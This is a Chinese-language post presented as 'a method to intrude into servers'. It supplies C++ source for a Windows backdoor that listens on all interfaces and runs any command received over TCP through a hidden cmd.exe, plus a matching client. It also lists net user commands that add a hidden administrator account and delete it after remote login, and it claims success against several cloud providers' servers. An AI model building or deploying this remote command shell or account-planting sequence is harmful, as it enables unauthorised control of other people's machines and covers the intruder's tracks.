入侵服务器的一种方法

1.前言

最近在作一个节点信息收集的时候,偶然想到一种能够进入服务器的一种方法,这里记录下,须要先运行服务器程序,再经过客户端来添加账号,提高权限,删除账号等操做

2.思路

1.作一个能够远程执行命令行的程序

2.经过命令行增长一个新账号,提高为admin权限,经过微软远程进入,作完后,在服务器上注销帐号,经过命令行删除用户,结束

3.我购买了一台阿里云,百度云,腾讯云,华为云这种方法均可以轻松进入

3.具体实现

服务器端部分程序

//调用命令行获取返回值
bool ExecCmdRet(const std::string &strcmd, std::string &strrecv)
{
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead,hWrite;
    bool bret = false;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
        return bret;

    char szcommand[1024] = {0};
    //strcpy(szcommand, strcmd.c_str());
    strcpy(szcommand,"Cmd.exe /C ");  
    strcat(szcommand,strcmd.c_str()); 

    STARTUPINFOA si;
    PROCESS_INFORMATION pi; 
    si.cb = sizeof(STARTUPINFOA);
    GetStartupInfoA(&si); 
    si.hStdError = hWrite;         
    si.hStdOutput = hWrite;     
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    if (!CreateProcessA(NULL, szcommand, NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
    {
        CloseHandle(hWrite);
        CloseHandle(hRead);
        return bret;
    }
    CloseHandle(hWrite);

    char buffer[4096] = {0}; 
    DWORD bytesRead; 

    WaitForSingleObject(pi.hProcess, 10000);

    /*if (ReadFile(hRead,buffer,4095,&bytesRead,NULL)) { strrecv = buffer; bret = true; }*/
    while (ReadFile(hRead,buffer,4095,&bytesRead,NULL))
    {
        buffer[bytesRead] = '\0';
        strrecv += buffer;
        bret = true;
    }
    CloseHandle(hRead); 
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return bret;
}

DWORD WINAPI PortTransfer_2(LPVOID lParam)
{
    TransferParam<ADDRESS, SOCKET> *ConfigInfo = (TransferParam<ADDRESS, SOCKET>*)lParam;
    SOCKET ClientSock, ServerSock = INVALID_SOCKET;
    ClientSock = ConfigInfo->LocalData.Pop();
    //int nNetTimeout=1000;//1秒
    //setsockopt(ClientSock, SOL_SOCKET, SO_RCVTIMEO, (char *)&nNetTimeout, sizeof(int));
    //setsockopt(ClientSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&nNetTimeout, sizeof(int));


    fd_set Fd_Read;
    int ret, nRecv;
    while(1)
    {
        FD_ZERO(&Fd_Read);
        FD_SET(ClientSock, &Fd_Read);
        ret = select(0, &Fd_Read, NULL, NULL, NULL);
        if(ret <= 0)
            break;

        if(FD_ISSET(ClientSock, &Fd_Read))
        {
            //这里须要修改下 不然可能有问
            std::string strrecvdata("");
            int iResult = 0;
            //do 
            //{
                char szbuf[1024] = {0};
                iResult = recv(ClientSock, szbuf, 1023, 0);
                if (iResult > 0)
                {
                    szbuf[iResult] = '\0';
                    strrecvdata += szbuf;
                }
                else
                    break;
            //} while (iResult > 0);

            std::string strsenddata("");
            if (!strrecvdata.empty())
                ExecCmdRet(strrecvdata, strsenddata);

            if (strsenddata.empty())
                strsenddata = "null";

            if (!strsenddata.empty())
            {
                int nsize = strsenddata.size();
                ret = DataSend(ClientSock, strsenddata.c_str(), nsize);
                break;
            }
        }
    }
    closesocket(ClientSock);
    return 0;
}

//开启监听获取远程发过来的命令行指令并执行 将返回值进行返回
void begcom(int nsrcport)
{
    WSADATA wsd;
    WORD sockVersion = MAKEWORD(2, 2);  
    WSAStartup(sockVersion, &wsd);
    SOCKET srcSocket = CreateSocket(inet_addr("0.0.0.0"), nsrcport);
    if(srcSocket <= 0)
        return;

    TransferParam<ADDRESS, SOCKET> ConfigInfo;
    sprintf_s(ConfigInfo.GlobalData.szIP, ADDRSIZE, "%s", "0.0.0.0");
    ConfigInfo.GlobalData.wPort = nsrcport;

    while(1)
    {
        SOCKADDR_IN addr;  
        int addrlen = sizeof(addr);
        SOCKET AcceptSocket = accept(srcSocket, (sockaddr*)&addr, &addrlen);
        if (AcceptSocket == SOCKET_ERROR)
            break;

        char szclientip[64] = {0};
        strcpy(szclientip,inet_ntoa(addr.sin_addr));
        mapSockIp[AcceptSocket] = szclientip;
        ConfigInfo.LocalData.Push(AcceptSocket);
        DWORD dwThreadId = 0;
        HANDLE hThread = CreateThread(NULL, 0, PortTransfer_2, (LPVOID)&ConfigInfo, NULL, &dwThreadId);
        if(hThread)
            CloseHandle(hThread);
        else
            Sleep(1000);
    }
    closesocket(srcSocket);
    WSACleanup();
}

客户端程序部分代码

std::string getnodeinfo(const std::string &strip, int nport, const std::string &strsenddata)
{
    std::string strrecvdata("");
    WSADATA wsd;
    SOCKET m_sockKeep = INVALID_SOCKET;
    WORD sockVersion = MAKEWORD(2, 2);  
    WSAStartup(sockVersion, &wsd);
    do 
    {
        struct sockaddr_in sa ;
        m_sockKeep = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
        if (m_sockKeep == INVALID_SOCKET)
            break;

        sa.sin_family           = AF_INET;
        sa.sin_port             = htons (nport); 
        sa.sin_addr.S_un.S_addr = inet_addr (strip.c_str());
        if( connect(m_sockKeep, (SOCKADDR *) &sa, sizeof (sa)) == -1)
            break;

        int nret = send(m_sockKeep, strsenddata.c_str(), strsenddata.size(), 0);
        if (nret != SOCKET_ERROR)
        {
            int iResult = 0;
            do 
            {
                char szbuf[4096] = {0};
                iResult = recv(m_sockKeep, szbuf, 4095, 0);
                if (iResult > 0)
                {
                    szbuf[iResult] = '\0';
                    strrecvdata += szbuf;
                    int nNetTimeout = 500;  //设置500ms超时
                    setsockopt(m_sockKeep, SOL_SOCKET, SO_RCVTIMEO, (char *)&nNetTimeout, sizeof(int));
                }
            } while (iResult > 0);
        }
    } while (0);
    closesocket(m_sockKeep);
    WSACleanup();
    return strrecvdata;
}

须要执行的远程命令

net user zrq zrq1986% /add
net localgroup administrators zrq /add
net user zrq /delete

4.备注

1.在windows server2008 系统下注入后正常进入

2.http://download.csdn.net/detail/zhang_ruiqiang/9715665